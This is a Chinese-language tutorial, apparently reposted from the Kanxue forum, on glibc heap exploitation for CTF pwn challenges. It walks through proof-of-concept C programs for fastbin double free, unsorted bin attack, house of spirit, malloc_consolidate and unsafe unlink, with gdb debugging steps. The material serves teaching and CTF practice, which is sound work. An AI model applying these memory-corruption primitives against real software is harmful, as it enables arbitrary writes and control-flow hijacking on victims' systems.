深入理解Pwn_Heap及相关例题
2023-12-11 18:0:26 Author: 看雪学苑(查看原文) 阅读量:7 收藏


前言

ptmalloc2的管理方式,chunk结构和bins的模型,在Overview of GLIBC heap exploitation techniques(https://0x434b.dev/overview-of-glibc-heap-exploitation-techniques/)ctfwiki(https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/introduction/)以及一些博客(https://blog.csdn.net/Tokameine/article/details/119490052)已经讲解的非常清楚,本文记录自己的学习堆利用的过程。

主要更新glibc-2.23,2.27,2.31,2.35,2.37主流版本和相关例题,glibc-2.23后面更新一些变化和新的利用方式,这里不包含IO_FILE的内容,IO_FILE会单独做一个专题。建议看完glibc源码分析后再来看,当然直接看也无所谓。目前比赛的glibc版本基本都是这几个长期支持版本,期间版本就不写了,另外文中没有标记glibc版本的就是到目前位置依然适用的方法。我将我的部分文章做了一个合集,入门新手想看先凑合着看吧。

◆主要工具:
pwncli(https://github.com/RoderickChan/pwncli)
PwnGdb(https://github.com/scwuaptx/Pwngdb)
gdb配置参考(https://bbs.kanxue.com/thread-276203.htm)

◆我的主要操作环境
wsl-kali。配置参考我的
另一篇文章(https://bbs.kanxue.com/thread-278044.htm)
docker desktop镜像
ubuntu:16.04
ubuntu:18.04
ubuntu:20.04
ubuntu:22.04
编译时可以加-g来方便调试。
ida pro 7.7 + gdb调试。

◆我的.gdbinit文件

source ~/pwndbg/gdbinit.py
source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py

define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end

#set context-clear-screen on
#set debug-events off

#source /root/splitmind/gdbinit.py
#python

#sections = "regs"

#mode = input("source/disasm/mixed mode:?(s/d/m)") or "d"

#import splitmind

#spliter = splitmind.Mind()
#spliter.select("main").right(display="regs", size="50%")
#gdb.execute("set context-stack-lines 10")

#legend_on = "code"
#if mode == "d":
# legend_on = "disasm"
# sections += " disasm"
# spliter.select("main").above(display="disasm", size="70%", banner="none")
# gdb.execute("set context-code-lines 30")

#elif mode == "s":
# sections += " code"
# spliter.select("main").above(display="code", size="70%", banner="none")
# gdb.execute("set context-source-code-lines 30")

#else:
# sections += " disasm code"
# spliter.select("main").above(display="code", size="70%")
# spliter.select("code").below(display="disasm", size="40%")
# gdb.execute("set context-code-lines 8")
# gdb.execute("set context-source-code-lines 20")

#sections += " args stack backtrace expressions"
#spliter.show("legend", on=legend_on)
#spliter.show("stack", on="regs")
#spliter.show("backtrace", on="regs")
#spliter.show("args", on="regs")
#spliter.show("expressions", on="args")

#gdb.execute("set context-sections \"%s\"" % sections)
#gdb.execute("set show-retaddr-reg on")

#spliter.build()

#end


第一部分

◆house_of_spirit
LCTF 2016 : PWN200(https://www.52pojie.cn/thread-1819636-1-1.html)

源码

#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack_var;

fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

调试

使用ubuntu:16.04进行编译。




使用pwncli改写rpath。

在malloc三次后, 0x400743处下断点。




查看堆信息,三个fastbin的堆块,f1,f2,f3。


在free(f1),free(f2),free(f1)后,在0x40083B下断点。




查看fastbinY信息。


0x20大小的fastbins链上形成了double free。

再次malloc两次后,设断点在0x40089F。




再次查看bins,因为申请两次后,fastbins中剩下f1(0x60300),而0x60300指向0x603020没有改变,0x603020指向0x60300也没变,并且fastbins中的chunk标记为prev_inuse一直为1,所以fastbins中依然保留这个ABA结构。

接下来,查看汇编代码,StackVar值改为0x20,为了放入0x20大小的fastbins,接下来把f1指向了StackVar以上0x8处,也就是prev_size的位置。将StackVar放入了0x20的fastbins中。在0x40092C处下断点。




查看堆信息。


这时候在申请两次便可申请到栈上。




在0x40095c下断点。

可以看到,已经申请到了栈上的值。

glibc < 2.29

源码

#include <stdio.h>
#include <stdlib.h>

int main(){
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

unsigned long *p=malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);

//------------VULNERABILITY-----------

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

//------------------------------------

malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

调试

使用ubuntu:16.04进行编译,然后使用pwncli改写rpath。

首先申请了两个堆块,第一个堆块不属于fastbin大小,先进入unsortedbin中,第二个堆块为了防止第一块堆块与topchunk合并。在free第一个堆块前设置断点。




查看bins和heap信息。

free第一个chunk以后,bins和heap信息,unsortedbin里的第一个chunk的fd和bk指向main_arena+0x58的位置。


接下来利用uaf将unsortedbin中的第一个chunk的bk指针(rax存储的指针指向fd,rax+8指向bk,bk指向后加入的chunk)指向StackVar的prev_size位置。



在0x4007D9处下断点,查看heap和bins信息。可以看到,0x602000处的chunk的bk指针被改为了一个栈值,fd指向main_arena+0x58的位置。


再次将unsortedbin中第一个chunk给malloc出来以后,unsortedbin中仅剩StackVar-0x10。




在0x400828下断点。查看heap和bins信息。

可以看到,StackVar的fd指针即用户区域起始处已被修改为main_arena+0x58的值。

glibc < 2.29

源码

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

void jackpot(){ printf("Nice jump d00d\n"); exit(0); }

int main() {
intptr_t stack_buffer[4] = {0};

printf("Allocating the victim chunk\n");
intptr_t* victim = malloc(0x100);

printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
intptr_t* p1 = malloc(0x100);

printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free(victim);

printf("Create a fake chunk on the stack");
printf("Set size for next allocation and the bk pointer to any writable address");
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;

//------------VULNERABILITY-----------
printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
//------------------------------------

printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
char *p2 = malloc(0x100);
printf("malloc(0x100): %p\n", p2);

intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

assert((long)__builtin_return_address(0) == (long)jackpot);
}

调试

使用ubuntu16.04编译,然后使用pwncli改写rpath。

首先申请两个堆块。
第一次申请的0x100大小的堆块给了[rbp+ptr]。第二个0x100是阻断topchunk。




接下来free(ptr),把ptr放入unsorted bin中。




在0x4007A7其fd,bk指向main_arena+x58的位置。


这里把var_28位置写为0x110。IDA里这个var_28中的0x28是16进制的偏移。


这里把rax指向ptr-8的位置,特就是size处。然后将其改为0x20。unsorted bin有FIFO特性,下次申请0x100大小不会找到它。然后将ptr+8的位置指向var_30,也就是把ptr的bk指针指向var_0x28+0x8的位置(bk指向后进入unsorted bin的chunk),var_0x28=0x110,也就是伪造的chunk大小,var_30也就是prev_size的位置。




在0x40081C下断点,可见ptr的bk指向栈。

查看0x602410内存可见ptr的size位置被改为了0x20。

接下来申请0x100大小的chunk将会去unsorted bin寻找0x110大小的chunk,ptr已被改为0x20大小,所以跳过ptr申请到了栈上伪造的var_30处chunk。




在0x40082B处下断点,可见malloc后,unsorted被整理,0x20大小的ptr放进了small bin。fd和bk都指向main_arena+104处。

申请成功。

源码

#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

使用ubuntu16.04编译,然后使用pwncli改写rpath。

调试

初始化堆。


在0x400703处下断点查看堆结构。




栈中数组结构。fake_chunks_size = 0x40fake_chunks_next_size = 0x1234




a指向fake_chunks_fd,然后free(a)




成功将栈地址放入fastbins中。




那麽此时申请0x30大小的空间会在fastbins中寻找0x40大小的chunk,便可成功申请到栈上。


第二部分

◆fast bin attack
例题1:
0CTF2017:babyheap(https://www.52pojie.cn/thread-1817311-1-1.html)

◆unsafe unlink
例题2:
HITCON CTF 2016 : Secret Holdr(https://www.52pojie.cn//thread-1820017-1-1.html)
例题3:HITCON CTF 2016 : SleepyHolder(https://www.52pojie.cn/thread-1825577-1-1.html)

源码

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = malloc(8);
b = malloc(8);
c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

assert(a == c);
}

调试

使用ubuntu:16.04编译。




然后使用pwncli修改运行环境。




malloc三次相同大小的堆块后,在0x400700下断点。



观察堆结构。




依次释放堆块a,b后,在0x4007CF下断点。




观察fastbin结构。




再次释放a,形成double free后,在0x4007F8下断点。




观察fastbin结构,已经形成ABA结构。




此时依次申请a,b,c三个相应大小的堆块,将会依次摘出a,b,a,
fastbin中a->b->a->b...这条链子会一直存在,不断从头部取出相应大小的堆块。


申请a后,在0x400835下断点(rax保存了_malloc函数的返回值)。




此时fastbin结构,形成了BAB结构。




同样,申请完b后在0x400843下断点。




此时fastbin结构,又形成了ABA结构。




同样申请完c后在0x400851下断点。




此时fastbin结构,再次形成BAB结构。




此时a和c指向同一地址。


源码

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

void main() {
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
printf("Fill up the tcache list to force the fastbin usage...\n");

void* p1 = calloc(1,0x40);

printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
free(p1);

void* p3 = malloc(0x400);
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
printf("will trigger the malloc_consolidate and merge\n");
printf("the fastbin chunks into the top chunk, thus\n");
printf("p1 and p3 are now pointing to the same chunk !\n\n");

assert(p1 == p3);

printf("Triggering the double free vulnerability!\n\n");
free(p1);

void *p4 = malloc(0x400);

assert(p4 == p3);

printf("The double free added the chunk referenced by p1 \n");
printf("to the tcache thus the next similar-size malloc will\n");
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
}

调试

使用ubuntu:16.04编译并使用pwncli改写rpath。

calloc p1堆块后,在0x4006C5处下断点。




查看堆结构, 可以看到多出来一块0x411大小的堆块。

这个堆块是puts的缓冲区。puts函数用于将字符串输出到标准输出流(stdout),而标准输出流是一个文件流,需要在内存中分配一块缓冲区来存储输出的字符串,下图是其分配过程。



free(p1)后,p1会优先进入fastbins。




再次申请0x400(实际大小为0x410)的chunk。




在gdb里s步入调试,可以看到触发了malloc_consolidate机制。原因如下,因为libc再分配large chunk时,fastbin中有p1这个chunk存在,所以会调用malloc_consolidate()函数整合fastbins中的chunk,并放入unsorted bin或top_chunk;然后unsorted bin中的chunk又会被取出放入各自对应的bins。(这个bins为small bin和large bin。这也是chunk唯一进入small bin和large bin的机会)。

malloc_consolidate()函数执行完以后,因为p1与top_chunk相邻,所以p1被合并到了top_chunk。top_chunk的基址也变成了p1的prev_size的地址。




然后malloc函数会从top_chunk获取chunk,那么p1的地址就已经和p3指向同一块地址了。

此时再次free(p1),在0x40076c处下断点。




由于p1和p3指向同一个大小为0x411的chunk,而这个chunk又和top_chunk相邻,所以会再次被合并到top_chunk。




如果这个时候,我们再次申请一个chunk,在0x40077A处下断点。




那么这个chunk的地址还会与p1 && p3的地址一样。




至此p1,p3,p4指向了同一块chunk。

源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;

printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

printf("We create a fake chunk inside chunk0.\n");
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;

printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);

printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);

// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}

当然,其实chunk0_ptr并不一定是一个全局指针。以下代码在glibc2.23依然起作用。

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>

int main(){
int malloc_size = 0x80;
uint64_t* ptr0 = (uint64_t*)malloc(malloc_size);
uint64_t* ptr1 = (uint64_t*)malloc(malloc_size);
ptr0[2] = (uint64_t)&ptr0 - 3*sizeof(uint64_t);
ptr0[3] = (uint64_t)&ptr0 - 2*sizeof(uint64_t);

uint64_t* ptr1_head = (uint64_t)ptr1 - 2*sizeof(uint64_t);
ptr1_head[0] = malloc_size;
ptr1_head[1] &= ~1;
free(ptr1);
char victim[10] = "hello";
ptr0[3]=(uint64_t)victim;
ptr0[0] = 0x4141414141;
printf("%s\n",victim);
return 0;

}

基础知识

使用ubuntu:16.04编译并使用第一个源码pwncli改写rpath。

简单介绍一下unlink,CTF Wiki(https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/)里有介绍,简单总结如下:

1,首先找到要进行unlink的chunk(这里记为P)的前后堆块,
FD = P->fd, BK = P->bk。
2,进行安全检查,glibc2.23的潦草判断条件如下
FD->bk == P, BK->fd == P。
3,然后执行FD->bk=BK, BK->fd=FD。
4,当某个non-fast大小的chunk被释放时,就会根据PREV_INUSE位检查其前后堆块是否处于释放状态,如果是就会将前面或后面的堆块取出并与当前堆块合并。取出前面或后面的堆块P的过程就是unlink。

调试

首先申请两块smallbin_chunk。




为了绕过unlink检查,这里将全局的chunk0_ptr+0x10(chunk0_ptr[2])处的内容改为chunk0_ptr-0x18的地址,注意这里chunk0_ptr[2]指向的是全局变量的地址。




同样,接下来将chunk0_ptr[3]的内容改为chunk0_ptr-0x10的地址。



chunk0_ptr位置在bss节。


此时chunk0的堆结构。可以看到chunk0_ptr指向chunk0_fd(0x603010)的位置。chunk0_fd_nextsize和chunk0_bk_nextsize已被修改为全局变量(bss节)处的地址。




用图来表示如下:

接下来cdqe指令将EAX寄存器中的DWORD(32 位值)符号扩展为RAX寄存器中的 QWORD(64 位值)。然后利用shl指令逻辑左移三位,再利用neg指令求补。最后也就是将chunk1_hdr的内容改为chunk1_ptr-2(chunk1_prev_size)的地址。


接下来将chunk1_hdr[0]改为0x80大小,也就是chunk1的prev_size位变为0x80。


然后利用and指令(与运算有零则零)把chunk1_hdr+1也就是chunk1_size的PREV_INUSE位改为0。


现在堆结构如图。因为chunk_prev_size=0x80,所以P_chunk如下:


然后把chunk1给free()掉因为其PREV_INUSE为0,又是small bin大小,触发unlink,要将P这个fake chunk摘除。




那么此时FD=P->FD和BK=P->bk,FD->bk == P, BK->fd == P。可以能够看到成功绕过glibc2.23检查。注意,我画的时候是根据布局画的,堆由低向高地址增长(由高向低画),bss由低向高画的。

接下来执行 两步操作 FD->bk=BK, BK->fd=FD。FD和BK只相差0x8字节大小。第一步会把chunk0_ptr指向低0x10字节处(0x602068),第二步把chunk0_ptr指向低0x18字节处(0x602060),最终chunk0_ptr指向了0x602060处。chunk0_ptr = 0x602060,我们向chunk0_ptr写入内容时就会从0x602060开始向高地址写,我们发现,写到高0x18时,写到了我们保存写入地址指针的地址,这个地址(chunk0_ptr的物理地址0x602078)存储的地址(0x602060)就是我们开始写的地址,也就是chunk0_ptr指向的地址。




可以看到,chunk0_ptr指向的地址由*chunk0_ptr-0x18保存,修改*chunk0_ptr-0x18存储的地址(0x602060),也就修改了写入的起始地址,也就是chunk0_ptr指向的地址,我们会从这个新地址重新开始写,也就达到了任意地址写的效果。这只是其中一种用法,建议看例题来加深理解。




我们也可以通过从0x602060开始向高地址覆盖,覆盖到0x602078处时,修改这里保存的地址,然后下次写时就会从修改的这个新地址开始写入。

看雪ID:jelasin

https://bbs.kanxue.com/user-home-958172.htm

*本文为看雪论坛精华文章,由 jelasin 原创,转载请注明来自看雪社区

# 往期推荐

1、2023 SDC 议题回顾 | 芯片安全和无线电安全底层渗透技术

2、SWPUCTF 2021 新生赛-老鼠走迷宫

3、OWASP 实战分析 level 1

4、【远控木马】银狐组织最新木马样本-分析

5、自研Unidbg trace工具实战ollvm反混淆

6、2023 SDC 议题回顾 | 深入 Android 可信应用漏洞挖掘

球分享

球点赞

球在看


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458531356&idx=1&sn=fa0d0aaa359fcdd7f01cfac696d3988e&chksm=b18d069686fa8f80760d911659ee51d6ee40b4ce2c953669a23647189926f5204f219885d877&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh